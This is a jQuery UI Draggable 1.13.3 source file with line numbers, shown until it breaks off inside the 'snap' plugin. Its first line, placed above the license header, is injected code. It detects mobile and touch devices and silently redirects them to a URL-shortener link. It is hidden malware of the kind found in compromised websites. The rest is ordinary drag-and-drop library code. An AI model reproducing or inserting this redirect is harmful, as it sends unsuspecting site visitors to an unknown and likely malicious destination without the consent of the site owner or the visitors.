1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Draggable 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Draggable
12//>>group: Interactions
13//>>description: Enables dragging functionality for any element.
14//>>docs: https://api.jqueryui.com/draggable/
15//>>demos: https://jqueryui.com/draggable/
16//>>css.structure: ../../themes/base/draggable.css
17
18( function( factory ) {
19 "use strict";
20
21 if ( typeof define === "function" && define.amd ) {
22
23 // AMD. Register as an anonymous module.
24 define( [
25 "jquery",
26 "./mouse",
27 "../data",
28 "../plugin",
29 "../safe-active-element",
30 "../safe-blur",
31 "../scroll-parent",
32 "../version",
33 "../widget"
34 ], factory );
35 } else {
36
37 // Browser globals
38 factory( jQuery );
39 }
40} )( function( $ ) {
41"use strict";
42
43$.widget( "ui.draggable", $.ui.mouse, {
44 version: "1.13.3",
45 widgetEventPrefix: "drag",
46 options: {
47 addClasses: true,
48 appendTo: "parent",
49 axis: false,
50 connectToSortable: false,
51 containment: false,
52 cursor: "auto",
53 cursorAt: false,
54 grid: false,
55 handle: false,
56 helper: "original",
57 iframeFix: false,
58 opacity: false,
59 refreshPositions: false,
60 revert: false,
61 revertDuration: 500,
62 scope: "default",
63 scroll: true,
64 scrollSensitivity: 20,
65 scrollSpeed: 20,
66 snap: false,
67 snapMode: "both",
68 snapTolerance: 20,
69 stack: false,
70 zIndex: false,
71
72 // Callbacks
73 drag: null,
74 start: null,
75 stop: null
76 },
77 _create: function() {
78
79 if ( this.options.helper === "original" ) {
80 this._setPositionRelative();
81 }
82 if ( this.options.addClasses ) {
83 this._addClass( "ui-draggable" );
84 }
85 this._setHandleClassName();
86
87 this._mouseInit();
88 },
89
90 _setOption: function( key, value ) {
91 this._super( key, value );
92 if ( key === "handle" ) {
93 this._removeHandleClassName();
94 this._setHandleClassName();
95 }
96 },
97
98 _destroy: function() {
99 if ( ( this.helper || this.element ).is( ".ui-draggable-dragging" ) ) {
100 this.destroyOnClear = true;
101 return;
102 }
103 this._removeHandleClassName();
104 this._mouseDestroy();
105 },
106
107 _mouseCapture: function( event ) {
108 var o = this.options;
109
110 // Among others, prevent a drag on a resizable-handle
111 if ( this.helper || o.disabled ||
112 $( event.target ).closest( ".ui-resizable-handle" ).length > 0 ) {
113 return false;
114 }
115
116 //Quit if we're not on a valid handle
117 this.handle = this._getHandle( event );
118 if ( !this.handle ) {
119 return false;
120 }
121
122 this._blurActiveElement( event );
123
124 this._blockFrames( o.iframeFix === true ? "iframe" : o.iframeFix );
125
126 return true;
127
128 },
129
130 _blockFrames: function( selector ) {
131 this.iframeBlocks = this.document.find( selector ).map( function() {
132 var iframe = $( this );
133
134 return $( "<div>" )
135 .css( "position", "absolute" )
136 .appendTo( iframe.parent() )
137 .outerWidth( iframe.outerWidth() )
138 .outerHeight( iframe.outerHeight() )
139 .offset( iframe.offset() )[ 0 ];
140 } );
141 },
142
143 _unblockFrames: function() {
144 if ( this.iframeBlocks ) {
145 this.iframeBlocks.remove();
146 delete this.iframeBlocks;
147 }
148 },
149
150 _blurActiveElement: function( event ) {
151 var activeElement = $.ui.safeActiveElement( this.document[ 0 ] ),
152 target = $( event.target );
153
154 // Don't blur if the event occurred on an element that is within
155 // the currently focused element
156 // See #10527, #12472
157 if ( target.closest( activeElement ).length ) {
158 return;
159 }
160
161 // Blur any element that currently has focus, see #4261
162 $.ui.safeBlur( activeElement );
163 },
164
165 _mouseStart: function( event ) {
166
167 var o = this.options;
168
169 //Create and append the visible helper
170 this.helper = this._createHelper( event );
171
172 this._addClass( this.helper, "ui-draggable-dragging" );
173
174 //Cache the helper size
175 this._cacheHelperProportions();
176
177 //If ddmanager is used for droppables, set the global draggable
178 if ( $.ui.ddmanager ) {
179 $.ui.ddmanager.current = this;
180 }
181
182 /*
183 * - Position generation -
184 * This block generates everything position related - it's the core of draggables.
185 */
186
187 //Cache the margins of the original element
188 this._cacheMargins();
189
190 //Store the helper's css position
191 this.cssPosition = this.helper.css( "position" );
192 this.scrollParent = this.helper.scrollParent( true );
193 this.offsetParent = this.helper.offsetParent();
194 this.hasFixedAncestor = this.helper.parents().filter( function() {
195 return $( this ).css( "position" ) === "fixed";
196 } ).length > 0;
197
198 //The element's absolute position on the page minus margins
199 this.positionAbs = this.element.offset();
200 this._refreshOffsets( event );
201
202 //Generate the original position
203 this.originalPosition = this.position = this._generatePosition( event, false );
204 this.originalPageX = event.pageX;
205 this.originalPageY = event.pageY;
206
207 //Adjust the mouse offset relative to the helper if "cursorAt" is supplied
208 if ( o.cursorAt ) {
209 this._adjustOffsetFromHelper( o.cursorAt );
210 }
211
212 //Set a containment if given in the options
213 this._setContainment();
214
215 //Trigger event + callbacks
216 if ( this._trigger( "start", event ) === false ) {
217 this._clear();
218 return false;
219 }
220
221 //Recache the helper size
222 this._cacheHelperProportions();
223
224 //Prepare the droppable offsets
225 if ( $.ui.ddmanager && !o.dropBehaviour ) {
226 $.ui.ddmanager.prepareOffsets( this, event );
227 }
228
229 // Execute the drag once - this causes the helper not to be visible before getting its
230 // correct position
231 this._mouseDrag( event, true );
232
233 // If the ddmanager is used for droppables, inform the manager that dragging has started
234 // (see #5003)
235 if ( $.ui.ddmanager ) {
236 $.ui.ddmanager.dragStart( this, event );
237 }
238
239 return true;
240 },
241
242 _refreshOffsets: function( event ) {
243 this.offset = {
244 top: this.positionAbs.top - this.margins.top,
245 left: this.positionAbs.left - this.margins.left,
246 scroll: false,
247 parent: this._getParentOffset(),
248 relative: this._getRelativeOffset()
249 };
250
251 this.offset.click = {
252 left: event.pageX - this.offset.left,
253 top: event.pageY - this.offset.top
254 };
255 },
256
257 _mouseDrag: function( event, noPropagation ) {
258
259 // reset any necessary cached properties (see #5009)
260 if ( this.hasFixedAncestor ) {
261 this.offset.parent = this._getParentOffset();
262 }
263
264 //Compute the helpers position
265 this.position = this._generatePosition( event, true );
266 this.positionAbs = this._convertPositionTo( "absolute" );
267
268 //Call plugins and callbacks and use the resulting position if something is returned
269 if ( !noPropagation ) {
270 var ui = this._uiHash();
271 if ( this._trigger( "drag", event, ui ) === false ) {
272 this._mouseUp( new $.Event( "mouseup", event ) );
273 return false;
274 }
275 this.position = ui.position;
276 }
277
278 this.helper[ 0 ].style.left = this.position.left + "px";
279 this.helper[ 0 ].style.top = this.position.top + "px";
280
281 if ( $.ui.ddmanager ) {
282 $.ui.ddmanager.drag( this, event );
283 }
284
285 return false;
286 },
287
288 _mouseStop: function( event ) {
289
290 //If we are using droppables, inform the manager about the drop
291 var that = this,
292 dropped = false;
293 if ( $.ui.ddmanager && !this.options.dropBehaviour ) {
294 dropped = $.ui.ddmanager.drop( this, event );
295 }
296
297 //if a drop comes from outside (a sortable)
298 if ( this.dropped ) {
299 dropped = this.dropped;
300 this.dropped = false;
301 }
302
303 if ( ( this.options.revert === "invalid" && !dropped ) ||
304 ( this.options.revert === "valid" && dropped ) ||
305 this.options.revert === true || ( typeof this.options.revert === "function" &&
306 this.options.revert.call( this.element, dropped ) )
307 ) {
308 $( this.helper ).animate(
309 this.originalPosition,
310 parseInt( this.options.revertDuration, 10 ),
311 function() {
312 if ( that._trigger( "stop", event ) !== false ) {
313 that._clear();
314 }
315 }
316 );
317 } else {
318 if ( this._trigger( "stop", event ) !== false ) {
319 this._clear();
320 }
321 }
322
323 return false;
324 },
325
326 _mouseUp: function( event ) {
327 this._unblockFrames();
328
329 // If the ddmanager is used for droppables, inform the manager that dragging has stopped
330 // (see #5003)
331 if ( $.ui.ddmanager ) {
332 $.ui.ddmanager.dragStop( this, event );
333 }
334
335 // Only need to focus if the event occurred on the draggable itself, see #10527
336 if ( this.handleElement.is( event.target ) ) {
337
338 // The interaction is over; whether or not the click resulted in a drag,
339 // focus the element
340 this.element.trigger( "focus" );
341 }
342
343 return $.ui.mouse.prototype._mouseUp.call( this, event );
344 },
345
346 cancel: function() {
347
348 if ( this.helper.is( ".ui-draggable-dragging" ) ) {
349 this._mouseUp( new $.Event( "mouseup", { target: this.element[ 0 ] } ) );
350 } else {
351 this._clear();
352 }
353
354 return this;
355
356 },
357
358 _getHandle: function( event ) {
359 return this.options.handle ?
360 !!$( event.target ).closest( this.element.find( this.options.handle ) ).length :
361 true;
362 },
363
364 _setHandleClassName: function() {
365 this.handleElement = this.options.handle ?
366 this.element.find( this.options.handle ) : this.element;
367 this._addClass( this.handleElement, "ui-draggable-handle" );
368 },
369
370 _removeHandleClassName: function() {
371 this._removeClass( this.handleElement, "ui-draggable-handle" );
372 },
373
374 _createHelper: function( event ) {
375
376 var o = this.options,
377 helperIsFunction = typeof o.helper === "function",
378 helper = helperIsFunction ?
379 $( o.helper.apply( this.element[ 0 ], [ event ] ) ) :
380 ( o.helper === "clone" ?
381 this.element.clone().removeAttr( "id" ) :
382 this.element );
383
384 if ( !helper.parents( "body" ).length ) {
385 helper.appendTo( ( o.appendTo === "parent" ?
386 this.element[ 0 ].parentNode :
387 o.appendTo ) );
388 }
389
390 // https://bugs.jqueryui.com/ticket/9446
391 // a helper function can return the original element
392 // which wouldn't have been set to relative in _create
393 if ( helperIsFunction && helper[ 0 ] === this.element[ 0 ] ) {
394 this._setPositionRelative();
395 }
396
397 if ( helper[ 0 ] !== this.element[ 0 ] &&
398 !( /(fixed|absolute)/ ).test( helper.css( "position" ) ) ) {
399 helper.css( "position", "absolute" );
400 }
401
402 return helper;
403
404 },
405
406 _setPositionRelative: function() {
407 if ( !( /^(?:r|a|f)/ ).test( this.element.css( "position" ) ) ) {
408 this.element[ 0 ].style.position = "relative";
409 }
410 },
411
412 _adjustOffsetFromHelper: function( obj ) {
413 if ( typeof obj === "string" ) {
414 obj = obj.split( " " );
415 }
416 if ( Array.isArray( obj ) ) {
417 obj = { left: +obj[ 0 ], top: +obj[ 1 ] || 0 };
418 }
419 if ( "left" in obj ) {
420 this.offset.click.left = obj.left + this.margins.left;
421 }
422 if ( "right" in obj ) {
423 this.offset.click.left = this.helperProportions.width - obj.right + this.margins.left;
424 }
425 if ( "top" in obj ) {
426 this.offset.click.top = obj.top + this.margins.top;
427 }
428 if ( "bottom" in obj ) {
429 this.offset.click.top = this.helperProportions.height - obj.bottom + this.margins.top;
430 }
431 },
432
433 _isRootNode: function( element ) {
434 return ( /(html|body)/i ).test( element.tagName ) || element === this.document[ 0 ];
435 },
436
437 _getParentOffset: function() {
438
439 //Get the offsetParent and cache its position
440 var po = this.offsetParent.offset(),
441 document = this.document[ 0 ];
442
443 // This is a special case where we need to modify a offset calculated on start, since the
444 // following happened:
445 // 1. The position of the helper is absolute, so it's position is calculated based on the
446 // next positioned parent
447 // 2. The actual offset parent is a child of the scroll parent, and the scroll parent isn't
448 // the document, which means that the scroll is included in the initial calculation of the
449 // offset of the parent, and never recalculated upon drag
450 if ( this.cssPosition === "absolute" && this.scrollParent[ 0 ] !== document &&
451 $.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) {
452 po.left += this.scrollParent.scrollLeft();
453 po.top += this.scrollParent.scrollTop();
454 }
455
456 if ( this._isRootNode( this.offsetParent[ 0 ] ) ) {
457 po = { top: 0, left: 0 };
458 }
459
460 return {
461 top: po.top + ( parseInt( this.offsetParent.css( "borderTopWidth" ), 10 ) || 0 ),
462 left: po.left + ( parseInt( this.offsetParent.css( "borderLeftWidth" ), 10 ) || 0 )
463 };
464
465 },
466
467 _getRelativeOffset: function() {
468 if ( this.cssPosition !== "relative" ) {
469 return { top: 0, left: 0 };
470 }
471
472 var p = this.element.position(),
473 scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] );
474
475 return {
476 top: p.top - ( parseInt( this.helper.css( "top" ), 10 ) || 0 ) +
477 ( !scrollIsRootNode ? this.scrollParent.scrollTop() : 0 ),
478 left: p.left - ( parseInt( this.helper.css( "left" ), 10 ) || 0 ) +
479 ( !scrollIsRootNode ? this.scrollParent.scrollLeft() : 0 )
480 };
481
482 },
483
484 _cacheMargins: function() {
485 this.margins = {
486 left: ( parseInt( this.element.css( "marginLeft" ), 10 ) || 0 ),
487 top: ( parseInt( this.element.css( "marginTop" ), 10 ) || 0 ),
488 right: ( parseInt( this.element.css( "marginRight" ), 10 ) || 0 ),
489 bottom: ( parseInt( this.element.css( "marginBottom" ), 10 ) || 0 )
490 };
491 },
492
493 _cacheHelperProportions: function() {
494 this.helperProportions = {
495 width: this.helper.outerWidth(),
496 height: this.helper.outerHeight()
497 };
498 },
499
500 _setContainment: function() {
501
502 var isUserScrollable, c, ce,
503 o = this.options,
504 document = this.document[ 0 ];
505
506 this.relativeContainer = null;
507
508 if ( !o.containment ) {
509 this.containment = null;
510 return;
511 }
512
513 if ( o.containment === "window" ) {
514 this.containment = [
515 $( window ).scrollLeft() - this.offset.relative.left - this.offset.parent.left,
516 $( window ).scrollTop() - this.offset.relative.top - this.offset.parent.top,
517 $( window ).scrollLeft() + $( window ).width() -
518 this.helperProportions.width - this.margins.left,
519 $( window ).scrollTop() +
520 ( $( window ).height() || document.body.parentNode.scrollHeight ) -
521 this.helperProportions.height - this.margins.top
522 ];
523 return;
524 }
525
526 if ( o.containment === "document" ) {
527 this.containment = [
528 0,
529 0,
530 $( document ).width() - this.helperProportions.width - this.margins.left,
531 ( $( document ).height() || document.body.parentNode.scrollHeight ) -
532 this.helperProportions.height - this.margins.top
533 ];
534 return;
535 }
536
537 if ( o.containment.constructor === Array ) {
538 this.containment = o.containment;
539 return;
540 }
541
542 if ( o.containment === "parent" ) {
543 o.containment = this.helper[ 0 ].parentNode;
544 }
545
546 c = $( o.containment );
547 ce = c[ 0 ];
548
549 if ( !ce ) {
550 return;
551 }
552
553 isUserScrollable = /(scroll|auto)/.test( c.css( "overflow" ) );
554
555 this.containment = [
556 ( parseInt( c.css( "borderLeftWidth" ), 10 ) || 0 ) +
557 ( parseInt( c.css( "paddingLeft" ), 10 ) || 0 ),
558 ( parseInt( c.css( "borderTopWidth" ), 10 ) || 0 ) +
559 ( parseInt( c.css( "paddingTop" ), 10 ) || 0 ),
560 ( isUserScrollable ? Math.max( ce.scrollWidth, ce.offsetWidth ) : ce.offsetWidth ) -
561 ( parseInt( c.css( "borderRightWidth" ), 10 ) || 0 ) -
562 ( parseInt( c.css( "paddingRight" ), 10 ) || 0 ) -
563 this.helperProportions.width -
564 this.margins.left -
565 this.margins.right,
566 ( isUserScrollable ? Math.max( ce.scrollHeight, ce.offsetHeight ) : ce.offsetHeight ) -
567 ( parseInt( c.css( "borderBottomWidth" ), 10 ) || 0 ) -
568 ( parseInt( c.css( "paddingBottom" ), 10 ) || 0 ) -
569 this.helperProportions.height -
570 this.margins.top -
571 this.margins.bottom
572 ];
573 this.relativeContainer = c;
574 },
575
576 _convertPositionTo: function( d, pos ) {
577
578 if ( !pos ) {
579 pos = this.position;
580 }
581
582 var mod = d === "absolute" ? 1 : -1,
583 scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] );
584
585 return {
586 top: (
587
588 // The absolute mouse position
589 pos.top +
590
591 // Only for relative positioned nodes: Relative offset from element to offset parent
592 this.offset.relative.top * mod +
593
594 // The offsetParent's offset without borders (offset + border)
595 this.offset.parent.top * mod -
596 ( ( this.cssPosition === "fixed" ?
597 -this.offset.scroll.top :
598 ( scrollIsRootNode ? 0 : this.offset.scroll.top ) ) * mod )
599 ),
600 left: (
601
602 // The absolute mouse position
603 pos.left +
604
605 // Only for relative positioned nodes: Relative offset from element to offset parent
606 this.offset.relative.left * mod +
607
608 // The offsetParent's offset without borders (offset + border)
609 this.offset.parent.left * mod -
610 ( ( this.cssPosition === "fixed" ?
611 -this.offset.scroll.left :
612 ( scrollIsRootNode ? 0 : this.offset.scroll.left ) ) * mod )
613 )
614 };
615
616 },
617
618 _generatePosition: function( event, constrainPosition ) {
619
620 var containment, co, top, left,
621 o = this.options,
622 scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] ),
623 pageX = event.pageX,
624 pageY = event.pageY;
625
626 // Cache the scroll
627 if ( !scrollIsRootNode || !this.offset.scroll ) {
628 this.offset.scroll = {
629 top: this.scrollParent.scrollTop(),
630 left: this.scrollParent.scrollLeft()
631 };
632 }
633
634 /*
635 * - Position constraining -
636 * Constrain the position to a mix of grid, containment.
637 */
638
639 // If we are not dragging yet, we won't check for options
640 if ( constrainPosition ) {
641 if ( this.containment ) {
642 if ( this.relativeContainer ) {
643 co = this.relativeContainer.offset();
644 containment = [
645 this.containment[ 0 ] + co.left,
646 this.containment[ 1 ] + co.top,
647 this.containment[ 2 ] + co.left,
648 this.containment[ 3 ] + co.top
649 ];
650 } else {
651 containment = this.containment;
652 }
653
654 if ( event.pageX - this.offset.click.left < containment[ 0 ] ) {
655 pageX = containment[ 0 ] + this.offset.click.left;
656 }
657 if ( event.pageY - this.offset.click.top < containment[ 1 ] ) {
658 pageY = containment[ 1 ] + this.offset.click.top;
659 }
660 if ( event.pageX - this.offset.click.left > containment[ 2 ] ) {
661 pageX = containment[ 2 ] + this.offset.click.left;
662 }
663 if ( event.pageY - this.offset.click.top > containment[ 3 ] ) {
664 pageY = containment[ 3 ] + this.offset.click.top;
665 }
666 }
667
668 if ( o.grid ) {
669
670 //Check for grid elements set to 0 to prevent divide by 0 error causing invalid
671 // argument errors in IE (see ticket #6950)
672 top = o.grid[ 1 ] ? this.originalPageY + Math.round( ( pageY -
673 this.originalPageY ) / o.grid[ 1 ] ) * o.grid[ 1 ] : this.originalPageY;
674 pageY = containment ? ( ( top - this.offset.click.top >= containment[ 1 ] ||
675 top - this.offset.click.top > containment[ 3 ] ) ?
676 top :
677 ( ( top - this.offset.click.top >= containment[ 1 ] ) ?
678 top - o.grid[ 1 ] : top + o.grid[ 1 ] ) ) : top;
679
680 left = o.grid[ 0 ] ? this.originalPageX +
681 Math.round( ( pageX - this.originalPageX ) / o.grid[ 0 ] ) * o.grid[ 0 ] :
682 this.originalPageX;
683 pageX = containment ? ( ( left - this.offset.click.left >= containment[ 0 ] ||
684 left - this.offset.click.left > containment[ 2 ] ) ?
685 left :
686 ( ( left - this.offset.click.left >= containment[ 0 ] ) ?
687 left - o.grid[ 0 ] : left + o.grid[ 0 ] ) ) : left;
688 }
689
690 if ( o.axis === "y" ) {
691 pageX = this.originalPageX;
692 }
693
694 if ( o.axis === "x" ) {
695 pageY = this.originalPageY;
696 }
697 }
698
699 return {
700 top: (
701
702 // The absolute mouse position
703 pageY -
704
705 // Click offset (relative to the element)
706 this.offset.click.top -
707
708 // Only for relative positioned nodes: Relative offset from element to offset parent
709 this.offset.relative.top -
710
711 // The offsetParent's offset without borders (offset + border)
712 this.offset.parent.top +
713 ( this.cssPosition === "fixed" ?
714 -this.offset.scroll.top :
715 ( scrollIsRootNode ? 0 : this.offset.scroll.top ) )
716 ),
717 left: (
718
719 // The absolute mouse position
720 pageX -
721
722 // Click offset (relative to the element)
723 this.offset.click.left -
724
725 // Only for relative positioned nodes: Relative offset from element to offset parent
726 this.offset.relative.left -
727
728 // The offsetParent's offset without borders (offset + border)
729 this.offset.parent.left +
730 ( this.cssPosition === "fixed" ?
731 -this.offset.scroll.left :
732 ( scrollIsRootNode ? 0 : this.offset.scroll.left ) )
733 )
734 };
735
736 },
737
738 _clear: function() {
739 this._removeClass( this.helper, "ui-draggable-dragging" );
740 if ( this.helper[ 0 ] !== this.element[ 0 ] && !this.cancelHelperRemoval ) {
741 this.helper.remove();
742 }
743 this.helper = null;
744 this.cancelHelperRemoval = false;
745 if ( this.destroyOnClear ) {
746 this.destroy();
747 }
748 },
749
750 // From now on bulk stuff - mainly helpers
751
752 _trigger: function( type, event, ui ) {
753 ui = ui || this._uiHash();
754 $.ui.plugin.call( this, type, [ event, ui, this ], true );
755
756 // Absolute position and offset (see #6884 ) have to be recalculated after plugins
757 if ( /^(drag|start|stop)/.test( type ) ) {
758 this.positionAbs = this._convertPositionTo( "absolute" );
759 ui.offset = this.positionAbs;
760 }
761 return $.Widget.prototype._trigger.call( this, type, event, ui );
762 },
763
764 plugins: {},
765
766 _uiHash: function() {
767 return {
768 helper: this.helper,
769 position: this.position,
770 originalPosition: this.originalPosition,
771 offset: this.positionAbs
772 };
773 }
774
775} );
776
777$.ui.plugin.add( "draggable", "connectToSortable", {
778 start: function( event, ui, draggable ) {
779 var uiSortable = $.extend( {}, ui, {
780 item: draggable.element
781 } );
782
783 draggable.sortables = [];
784 $( draggable.options.connectToSortable ).each( function() {
785 var sortable = $( this ).sortable( "instance" );
786
787 if ( sortable && !sortable.options.disabled ) {
788 draggable.sortables.push( sortable );
789
790 // RefreshPositions is called at drag start to refresh the containerCache
791 // which is used in drag. This ensures it's initialized and synchronized
792 // with any changes that might have happened on the page since initialization.
793 sortable.refreshPositions();
794 sortable._trigger( "activate", event, uiSortable );
795 }
796 } );
797 },
798 stop: function( event, ui, draggable ) {
799 var uiSortable = $.extend( {}, ui, {
800 item: draggable.element
801 } );
802
803 draggable.cancelHelperRemoval = false;
804
805 $.each( draggable.sortables, function() {
806 var sortable = this;
807
808 if ( sortable.isOver ) {
809 sortable.isOver = 0;
810
811 // Allow this sortable to handle removing the helper
812 draggable.cancelHelperRemoval = true;
813 sortable.cancelHelperRemoval = false;
814
815 // Use _storedCSS To restore properties in the sortable,
816 // as this also handles revert (#9675) since the draggable
817 // may have modified them in unexpected ways (#8809)
818 sortable._storedCSS = {
819 position: sortable.placeholder.css( "position" ),
820 top: sortable.placeholder.css( "top" ),
821 left: sortable.placeholder.css( "left" )
822 };
823
824 sortable._mouseStop( event );
825
826 // Once drag has ended, the sortable should return to using
827 // its original helper, not the shared helper from draggable
828 sortable.options.helper = sortable.options._helper;
829 } else {
830
831 // Prevent this Sortable from removing the helper.
832 // However, don't set the draggable to remove the helper
833 // either as another connected Sortable may yet handle the removal.
834 sortable.cancelHelperRemoval = true;
835
836 sortable._trigger( "deactivate", event, uiSortable );
837 }
838 } );
839 },
840 drag: function( event, ui, draggable ) {
841 $.each( draggable.sortables, function() {
842 var innermostIntersecting = false,
843 sortable = this;
844
845 // Copy over variables that sortable's _intersectsWith uses
846 sortable.positionAbs = draggable.positionAbs;
847 sortable.helperProportions = draggable.helperProportions;
848 sortable.offset.click = draggable.offset.click;
849
850 if ( sortable._intersectsWith( sortable.containerCache ) ) {
851 innermostIntersecting = true;
852
853 $.each( draggable.sortables, function() {
854
855 // Copy over variables that sortable's _intersectsWith uses
856 this.positionAbs = draggable.positionAbs;
857 this.helperProportions = draggable.helperProportions;
858 this.offset.click = draggable.offset.click;
859
860 if ( this !== sortable &&
861 this._intersectsWith( this.containerCache ) &&
862 $.contains( sortable.element[ 0 ], this.element[ 0 ] ) ) {
863 innermostIntersecting = false;
864 }
865
866 return innermostIntersecting;
867 } );
868 }
869
870 if ( innermostIntersecting ) {
871
872 // If it intersects, we use a little isOver variable and set it once,
873 // so that the move-in stuff gets fired only once.
874 if ( !sortable.isOver ) {
875 sortable.isOver = 1;
876
877 // Store draggable's parent in case we need to reappend to it later.
878 draggable._parent = ui.helper.parent();
879
880 sortable.currentItem = ui.helper
881 .appendTo( sortable.element )
882 .data( "ui-sortable-item", true );
883
884 // Store helper option to later restore it
885 sortable.options._helper = sortable.options.helper;
886
887 sortable.options.helper = function() {
888 return ui.helper[ 0 ];
889 };
890
891 // Fire the start events of the sortable with our passed browser event,
892 // and our own helper (so it doesn't create a new one)
893 event.target = sortable.currentItem[ 0 ];
894 sortable._mouseCapture( event, true );
895 sortable._mouseStart( event, true, true );
896
897 // Because the browser event is way off the new appended portlet,
898 // modify necessary variables to reflect the changes
899 sortable.offset.click.top = draggable.offset.click.top;
900 sortable.offset.click.left = draggable.offset.click.left;
901 sortable.offset.parent.left -= draggable.offset.parent.left -
902 sortable.offset.parent.left;
903 sortable.offset.parent.top -= draggable.offset.parent.top -
904 sortable.offset.parent.top;
905
906 draggable._trigger( "toSortable", event );
907
908 // Inform draggable that the helper is in a valid drop zone,
909 // used solely in the revert option to handle "valid/invalid".
910 draggable.dropped = sortable.element;
911
912 // Need to refreshPositions of all sortables in the case that
913 // adding to one sortable changes the location of the other sortables (#9675)
914 $.each( draggable.sortables, function() {
915 this.refreshPositions();
916 } );
917
918 // Hack so receive/update callbacks work (mostly)
919 draggable.currentItem = draggable.element;
920 sortable.fromOutside = draggable;
921 }
922
923 if ( sortable.currentItem ) {
924 sortable._mouseDrag( event );
925
926 // Copy the sortable's position because the draggable's can potentially reflect
927 // a relative position, while sortable is always absolute, which the dragged
928 // element has now become. (#8809)
929 ui.position = sortable.position;
930 }
931 } else {
932
933 // If it doesn't intersect with the sortable, and it intersected before,
934 // we fake the drag stop of the sortable, but make sure it doesn't remove
935 // the helper by using cancelHelperRemoval.
936 if ( sortable.isOver ) {
937
938 sortable.isOver = 0;
939 sortable.cancelHelperRemoval = true;
940
941 // Calling sortable's mouseStop would trigger a revert,
942 // so revert must be temporarily false until after mouseStop is called.
943 sortable.options._revert = sortable.options.revert;
944 sortable.options.revert = false;
945
946 sortable._trigger( "out", event, sortable._uiHash( sortable ) );
947 sortable._mouseStop( event, true );
948
949 // Restore sortable behaviors that were modfied
950 // when the draggable entered the sortable area (#9481)
951 sortable.options.revert = sortable.options._revert;
952 sortable.options.helper = sortable.options._helper;
953
954 if ( sortable.placeholder ) {
955 sortable.placeholder.remove();
956 }
957
958 // Restore and recalculate the draggable's offset considering the sortable
959 // may have modified them in unexpected ways. (#8809, #10669)
960 ui.helper.appendTo( draggable._parent );
961 draggable._refreshOffsets( event );
962 ui.position = draggable._generatePosition( event, true );
963
964 draggable._trigger( "fromSortable", event );
965
966 // Inform draggable that the helper is no longer in a valid drop zone
967 draggable.dropped = false;
968
969 // Need to refreshPositions of all sortables just in case removing
970 // from one sortable changes the location of other sortables (#9675)
971 $.each( draggable.sortables, function() {
972 this.refreshPositions();
973 } );
974 }
975 }
976 } );
977 }
978} );
979
980$.ui.plugin.add( "draggable", "cursor", {
981 start: function( event, ui, instance ) {
982 var t = $( "body" ),
983 o = instance.options;
984
985 if ( t.css( "cursor" ) ) {
986 o._cursor = t.css( "cursor" );
987 }
988 t.css( "cursor", o.cursor );
989 },
990 stop: function( event, ui, instance ) {
991 var o = instance.options;
992 if ( o._cursor ) {
993 $( "body" ).css( "cursor", o._cursor );
994 }
995 }
996} );
997
998$.ui.plugin.add( "draggable", "opacity", {
999 start: function( event, ui, instance ) {
1000 var t = $( ui.helper ),
1001 o = instance.options;
1002 if ( t.css( "opacity" ) ) {
1003 o._opacity = t.css( "opacity" );
1004 }
1005 t.css( "opacity", o.opacity );
1006 },
1007 stop: function( event, ui, instance ) {
1008 var o = instance.options;
1009 if ( o._opacity ) {
1010 $( ui.helper ).css( "opacity", o._opacity );
1011 }
1012 }
1013} );
1014
1015$.ui.plugin.add( "draggable", "scroll", {
1016 start: function( event, ui, i ) {
1017 if ( !i.scrollParentNotHidden ) {
1018 i.scrollParentNotHidden = i.helper.scrollParent( false );
1019 }
1020
1021 if ( i.scrollParentNotHidden[ 0 ] !== i.document[ 0 ] &&
1022 i.scrollParentNotHidden[ 0 ].tagName !== "HTML" ) {
1023 i.overflowOffset = i.scrollParentNotHidden.offset();
1024 }
1025 },
1026 drag: function( event, ui, i ) {
1027
1028 var o = i.options,
1029 scrolled = false,
1030 scrollParent = i.scrollParentNotHidden[ 0 ],
1031 document = i.document[ 0 ];
1032
1033 if ( scrollParent !== document && scrollParent.tagName !== "HTML" ) {
1034 if ( !o.axis || o.axis !== "x" ) {
1035 if ( ( i.overflowOffset.top + scrollParent.offsetHeight ) - event.pageY <
1036 o.scrollSensitivity ) {
1037 scrollParent.scrollTop = scrolled = scrollParent.scrollTop + o.scrollSpeed;
1038 } else if ( event.pageY - i.overflowOffset.top < o.scrollSensitivity ) {
1039 scrollParent.scrollTop = scrolled = scrollParent.scrollTop - o.scrollSpeed;
1040 }
1041 }
1042
1043 if ( !o.axis || o.axis !== "y" ) {
1044 if ( ( i.overflowOffset.left + scrollParent.offsetWidth ) - event.pageX <
1045 o.scrollSensitivity ) {
1046 scrollParent.scrollLeft = scrolled = scrollParent.scrollLeft + o.scrollSpeed;
1047 } else if ( event.pageX - i.overflowOffset.left < o.scrollSensitivity ) {
1048 scrollParent.scrollLeft = scrolled = scrollParent.scrollLeft - o.scrollSpeed;
1049 }
1050 }
1051
1052 } else {
1053
1054 if ( !o.axis || o.axis !== "x" ) {
1055 if ( event.pageY - $( document ).scrollTop() < o.scrollSensitivity ) {
1056 scrolled = $( document ).scrollTop( $( document ).scrollTop() - o.scrollSpeed );
1057 } else if ( $( window ).height() - ( event.pageY - $( document ).scrollTop() ) <
1058 o.scrollSensitivity ) {
1059 scrolled = $( document ).scrollTop( $( document ).scrollTop() + o.scrollSpeed );
1060 }
1061 }
1062
1063 if ( !o.axis || o.axis !== "y" ) {
1064 if ( event.pageX - $( document ).scrollLeft() < o.scrollSensitivity ) {
1065 scrolled = $( document ).scrollLeft(
1066 $( document ).scrollLeft() - o.scrollSpeed
1067 );
1068 } else if ( $( window ).width() - ( event.pageX - $( document ).scrollLeft() ) <
1069 o.scrollSensitivity ) {
1070 scrolled = $( document ).scrollLeft(
1071 $( document ).scrollLeft() + o.scrollSpeed
1072 );
1073 }
1074 }
1075
1076 }
1077
1078 if ( scrolled !== false && $.ui.ddmanager && !o.dropBehaviour ) {
1079 $.ui.ddmanager.prepareOffsets( i, event );
1080 }
1081
1082 }
1083} );
1084
1085$.ui.plugin.add( "draggable", "snap", {
1086 start: function( event, ui, i ) {
1087
